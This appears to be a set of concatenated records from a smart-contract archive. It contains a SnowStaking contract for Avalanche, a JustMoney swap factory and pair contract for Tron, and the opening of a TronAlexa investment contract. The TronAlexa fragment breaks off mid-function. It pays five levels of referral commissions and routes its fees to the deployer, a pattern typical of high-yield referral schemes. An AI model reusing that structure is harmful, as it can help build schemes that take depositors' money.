d7812bb3186034b67332d6e40d9166edd2eb43df3c90ac0f19381a099c4207bc
| 27,007 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/1c/1c9e803071e9ff4a2a7b39e63aef7d8895bcedd2_SnowStaking.sol
| 4,111 | 16,440 |
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b);
// There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {size := extcodesize(account)}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns (string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
_addr[2 + i * 2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3 + i * 2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SnowStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length : _epochLength,
number : _firstEpochNumber,
endBlock : _firstEpochBlock,
distribute : 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[_recipient];
require(!info.lock, "Deposits for account are locked");
warmupInfo[_recipient] = Claim({
deposit : info.deposit.add(_amount),
gons : info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry : epoch.number.add(warmupPeriod),
lock : false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim(address _recipient) public {
Claim memory info = warmupInfo[_recipient];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[_recipient];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[msg.sender];
delete warmupInfo[msg.sender];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[msg.sender].lock = !warmupInfo[msg.sender].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if (epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if (balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS {DISTRIBUTOR, WARMUP, LOCKER}
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if (_contract == CONTRACTS.DISTRIBUTOR) {// 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) {// 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) {// 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 94,753 | 14,069 |
dedb8cb9a27bb4b08897f401e37adc3e6ec2135f469b6421c59cd55df537127f
| 20,089 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TG/TG1CirSZHqQ3yGJBMfXHjBcWVctfihciQL_CreatedByContract.sol
| 5,517 | 19,510 |
//SourceUnit: JustFactory.sol
// SPDX-License-Identifier: MIT License
pragma solidity >=0.5.16 <0.6.0;
interface ITRC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns(string memory);
function symbol() external pure returns(string memory);
function decimals() external pure returns(uint8);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
}
interface IFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256 index);
function feeTo() external view returns(address);
function owner() external view returns(address);
function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint256) external view returns(address pair);
function allPairsLength() external view returns(uint256);
function createPair(address tokenA, address tokenB) external returns(address pair);
function setFeeTo(address) external;
function setNewOwner(address) external;
function setRouterAddress(address) external;
}
interface IPair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns(string memory);
function symbol() external pure returns(string memory);
function decimals() external pure returns(uint8);
function totalSupply() external view returns(uint256);
function balanceOf(address owner) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns(bool);
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns(uint256);
function factory() external view returns(address);
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns(uint256);
function price1CumulativeLast() external view returns(uint256);
function kLast() external view returns(uint256);
function mint(address to) external returns(uint256 liquidity);
function burn(address to) external returns(uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface ICallee {
function call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x + y) >= x, 'Factory SafeMath: ds-math-add-overflow');
}
function sub(uint256 x, uint256 y) internal pure returns(uint256 z) {
require((z = x - y) <= x, 'Factory SafeMath: ds-math-sub-underflow');
}
function mul(uint256 x, uint256 y) internal pure returns(uint256 z) {
require(y == 0 || (z = x * y) / y == x, 'Factory SafeMath: ds-math-mul-overflow');
}
}
// a library for performing various math operations
library Math {
function min(uint256 x, uint256 y) internal pure returns(uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns(uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns(uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns(uint224 z) {
z = x / uint224(y);
}
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
string public constant name = 'JustMoney LP Shares';
string public constant symbol = 'JMS';
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns(bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns(bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns(bool) {
if(allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
contract Pair is IPair, TRC20 {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Lock: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint256 value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (token == 0xa614f803B6FD780986A42c78Ec9c7f77e6DeD13C || data.length == 0 || abi.decode(data, (bool))), 'Pair: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'Pair: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint256 balance0, uint256 balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'Pair: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint256 balance0 = ITRC20(token0).balanceOf(address(this));
uint256 balance1 = ITRC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Pair: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = ITRC20(_token0).balanceOf(address(this));
uint256 balance1 = ITRC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Pair: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = ITRC20(_token0).balanceOf(address(this));
balance1 = ITRC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'Pair: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pair: INSUFFICIENT_LIQUIDITY');
uint256 balance0;
uint256 balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Pair: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) ICallee(to).call(msg.sender, amount0Out, amount1Out, data);
balance0 = ITRC20(_token0).balanceOf(address(this));
balance1 = ITRC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Pair: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000**2), 'Pair: Bad Swap (K)');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, ITRC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, ITRC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(ITRC20(token0).balanceOf(address(this)), ITRC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
contract JMSwapFactory is IFactory {
address public feeTo;
address public owner;
address public getRouterAddress;
struct TokensInPair {
address tokenA;
address tokenB;
}
mapping(address => address) private moderators;
mapping(address => mapping(address => address)) public getPair;
mapping(address => TokensInPair) public getTokensByPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
constructor(address _owner) public {
owner = _owner;
}
function allPairsLength() external view returns(uint256) {
return allPairs.length;
}
function getPairSymbols(address pair) external view returns(string memory) {
return string(abi.encodePacked(ITRC20(getTokensByPair[pair].tokenA).symbol(), "-", ITRC20(getTokensByPair[pair].tokenB).symbol()));
}
function createPair(address tokenA, address tokenB) external returns(address pair) {
require(tokenA != tokenB, 'Factory: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'Factory: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'Factory: PAIR_EXISTS'); // single check is sufficient
pair = address(new Pair());
IPair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
getTokensByPair[pair].tokenA = token0;
getTokensByPair[pair].tokenB = token1;
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == owner || moderators[msg.sender] != address(0), 'Factory: FORBIDDEN');
feeTo = _feeTo;
}
function setNewOwner(address _newOwner) external {
require(msg.sender == owner, 'Factory: FORBIDDEN');
require(_newOwner != address(0), 'Factory: Can not set the zero address');
owner = _newOwner;
}
function setRouterAddress(address _router) external {
require(msg.sender == owner || moderators[msg.sender] != address(0), 'Factory: FORBIDDEN');
require(_router != address(0), 'Factory: Can not set the zero address');
getRouterAddress = _router;
}
function addModerator(address _moderator) external {
require(msg.sender == owner, 'Factory: FORBIDDEN');
moderators[_moderator] = _moderator;
}
function removeModerator(address _moderator) external {
require(msg.sender == owner, 'Factory: FORBIDDEN');
require(moderators[_moderator] != address(0), 'Factory: MODERATOR NOT FOUND');
moderators[_moderator] = address(0);
}
}
| 298,762 | 14,070 |
d1761bf1b854407f1785ad8ccf115d8ffd4c356a166f271cf6a9fffb444b0376
| 17,049 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TQ/TQLYVuFQJFxio341NH5mnbAR16KtKmcRvy_TronAlexa.sol
| 4,773 | 16,918 |
//SourceUnit: TronAlexa.sol
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 level4RefCount;
uint256 level5RefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyCommissionSender() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyCommissionSender {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TronAlexa is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40;
uint256 public constant MARKETING_RATE = 40;
uint256 public constant REFERENCE_RATE = 250;
uint256 public constant REFERENCE_LEVEL1_RATE = 200;
uint256 public constant REFERENCE_LEVEL2_RATE = 20;
uint256 public constant REFERENCE_LEVEL3_RATE = 10;
uint256 public constant REFERENCE_LEVEL4_RATE = 10;
uint256 public constant REFERENCE_LEVEL5_RATE = 10;
uint256 public constant REFERENCE_SELF_RATE = 0;
uint256 public constant MINIMUM = 100000000; //Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 6666;
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address private developerAccount_;
address private marketingAccount_;
address private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0);
}
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
